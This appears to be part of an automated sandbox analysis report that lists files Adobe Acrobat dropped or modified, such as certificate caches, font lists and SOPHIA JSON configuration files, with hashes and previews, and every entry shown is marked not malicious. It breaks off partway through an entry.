SSDEEP:	48:7MvJioyVIioyqoy1C7oy16oy1uKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O0:7YJuIuJXjBi2b9IVXEBodRBk8
MD5:	C396183D229A2DB884625EF215C207BD
SHA1:	117623B8D2E0A0506F62C958A24A17F3290E3313
SHA-256:	A991AED122A1A16F6F8BF37428AE60EE303B8E12263C33C412BB44E96A1129D3
SHA-512:	2AD108516FE3DB02EA9D19CBCE9444C6259F98F8173901053819262D49D49122C072F0F7EE4E7781350D43FFA5CF052E0343086CDCD45E9EA9D99776C8815E5E
Malicious:	false
Preview:	.... .c......K.M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklDzNORltfllXlE/HT8kaz/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKreT8f3NMa8RdWBwRd
MD5:	685E07A78D595BA9550FB5B1A236A96A
SHA1:	8D74A66D31A845432EB9ACA65EF2846905868544
SHA-256:	8ED0D3684CFD7A8C4B3EE419E357A4B31260D76324DA4B1C1BB21EF24D235385
SHA-512:	775C2A37C8D767B702EBB22FE7D7DBFC26676EB49E485122F33D7B14D208F246826B9A165AF29FE70077304781016031F8C6959894BC2D6D9460CFB4EDA9EBC1
Malicious:	false
Preview:	p...... ........0Vh..c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKL+pEtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:8siDImsLNkPlE99SNxAhUe/3
MD5:	C6BDC0D2AEBB91E7A605D26A81C22039
SHA1:	3B1464A707E7E751E31499E585236665CD7DD036
SHA-256:	D73DFF412593028C700DEDF49B1D0D137B60C50137DD7643EF6A903BFBD9450D
SHA-512:	66D81672C5952B58DEFF5880D9C224DA3E4C58F23893E23428FA2FF152A2D8A6329FC51A06B19504089BB2ADAF3317F57D8522D49C7377D5ADF6A6071FB955BF
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8012

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8012

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.325827358293125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJM3g98kUwPeUkwRe9:YvXKXRPT5LjIPxGMbLUkee9
MD5:	CA4B848BA99B2DF985AFCB0844612F83
SHA1:	8F024618C10A1F6AA24FC9C55A575944A624FD45
SHA-256:	80A0D9C51015316C5B420E6F745C22E856ECAFD73018B1F43B93DDF75188C85D
SHA-512:	2517052CFD7D12EDBBCC97068CEF240A3D5D33D8019B0851EF038D8FC21140C5F7204EFBF506E288C4A507743D34CD751E16AEEB18FE0CAEBF1A87980EF3FA9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.273605540391294
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJfBoTfXpnrPeUkwRe9:YvXKXRPT5LjIPxGWTfXcUkee9
MD5:	6625BF68C939A63CE69595E8700790A7
SHA1:	2EBC92C1706CF222AC404E4D8FEF781C9B3F6ACC
SHA-256:	116D8A24373C44769A5F574355C5C09E5F54CAEC414ACAF11035F3DF581707E5
SHA-512:	7BF5CB27126ED48717E766C93B641677E5B61D179120E2A4B9F0C11440783CA5A0985DFD655379CC8A5FCC65831B6289B22B7DA46AD4779CC421DF775FC07AE0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.250092702083753
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJfBD2G6UpnrPeUkwRe9:YvXKXRPT5LjIPxGR22cUkee9
MD5:	E342820110735DF49664F011FAF1621E
SHA1:	12758D57CDE112440FF27EEF64B5A610F455EA5F
SHA-256:	FB7EF245EA2A560539708DCD1E6F9E66B7707A4BB8BB796D8AA4643DAB72F0A6
SHA-512:	4FD648961F7E4BE47E4F1EA7ABF5BACF44465D686861FE7F07D1A938A2F39472FEFECF53DD933294DEABAE52DD4EE9E3B3E21518885685CF9AF2D623ECB878D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.305512337236987
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJfPmwrPeUkwRe9:YvXKXRPT5LjIPxGH56Ukee9
MD5:	6DF76A80D1DAB36F25A5F7B781513344
SHA1:	0CEA572B1372335346BF778E40BBDDCA4DB8D70A
SHA-256:	D07C924B7592BDFFA3E433B590294C1FF43E19C53800EEB7C6DB5D3255F0E4B0
SHA-512:	691E082A24FC5B9DD6455891C56C3A80E221E24B20EA7342D4F6BEEFB837B766145BEEDE01C4C257429098EA07E5111ECF01B9C92C0AD2828F009929914BDDAB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689490681364377
Encrypted:	false
SSDEEP:	24:Yv6XlT5XI+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSGy:YviXrhgy6SAFv5Ah8cv/Gy
MD5:	D7C35E0180C761DBBE01B3764DCAAD71
SHA1:	D615D5F8CFF28308B59ECAAE76D6DD4A0BF45238
SHA-256:	520AD698DEDC166720142458F2B93A8062193DCCD5F382FB51C5CC887AE16A24
SHA-512:	3370334CC25CBE7DE5C3B4AA163F157566AB62DAD8C14D4807C92F833CDB7DC4BE5659A835D528B244CB60E6CCE26521266D5A703A3EA63867437D76381F476B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2789711675565725
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJf8dPeUkwRe9:YvXKXRPT5LjIPxGU8Ukee9
MD5:	FFE15725EBAFFEDD0150250C4601EB4F
SHA1:	589DBE1B6D79C9AB5F7C1C5455458B1178E9EB30
SHA-256:	1561822BB8687082963DB9BD414347293B91D0C03E81055F0ED5371782DFBD0B
SHA-512:	B2C7DF0D2F1DB762C0750C1595AC6935C0FEA36D7D8DAC89792577E43EDC010B875F6770AD7C95F186D35300B3509101B3C49D9CCC7237B91EF0D7364E79F88B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.270087446149947
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJfQ1rPeUkwRe9:YvXKXRPT5LjIPxGY16Ukee9
MD5:	3DF2B6CD24C5B159BD4D8CEAA555B788
SHA1:	A12C2DCE127FF620BAB1960BC3079CB80CEACC05
SHA-256:	98C1870B8F82CA4FAD72C472C8FE5D5628576630E1511AF1594CB80615679C20
SHA-512:	7EA72CF6D9B10184AB507CA2D4E10D2DC8A57B691EC588B383DC708D8D28E1E1752669A00ADDCEBDC6DF79F2185241C56E313B060F2067BADE6E909D226737A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291727566316004
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLt89XhmSg1c2LjcWkHvR0Y2oAvJfFldPeUkwRe9:YvXKXRPT5LjIPxGz8Ukee9
MD5:	5D6CA4EF12715ACB1A8817EEFE18BC94
SHA1:	B3CE7F94EE97914CB7C5049E0648726D237CEA40
SHA-256:	0AE7205E2A26AB0826446AD60A18706B9137B4B66D4CE493BAA37B50A879429E
SHA-512:	0577567A72E9C4A443BF7126DD180228CE7183219B9ECC4DF54A115E9C209BD70736A5D19DD1153A0AE3C57615A684D54E14D01965230AE851A1FC71587F4F27
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3c60bccf-cc4c-43f5-bcff-eb780e2c2bf2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736731123119,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.308336155361527
Encrypted:	false
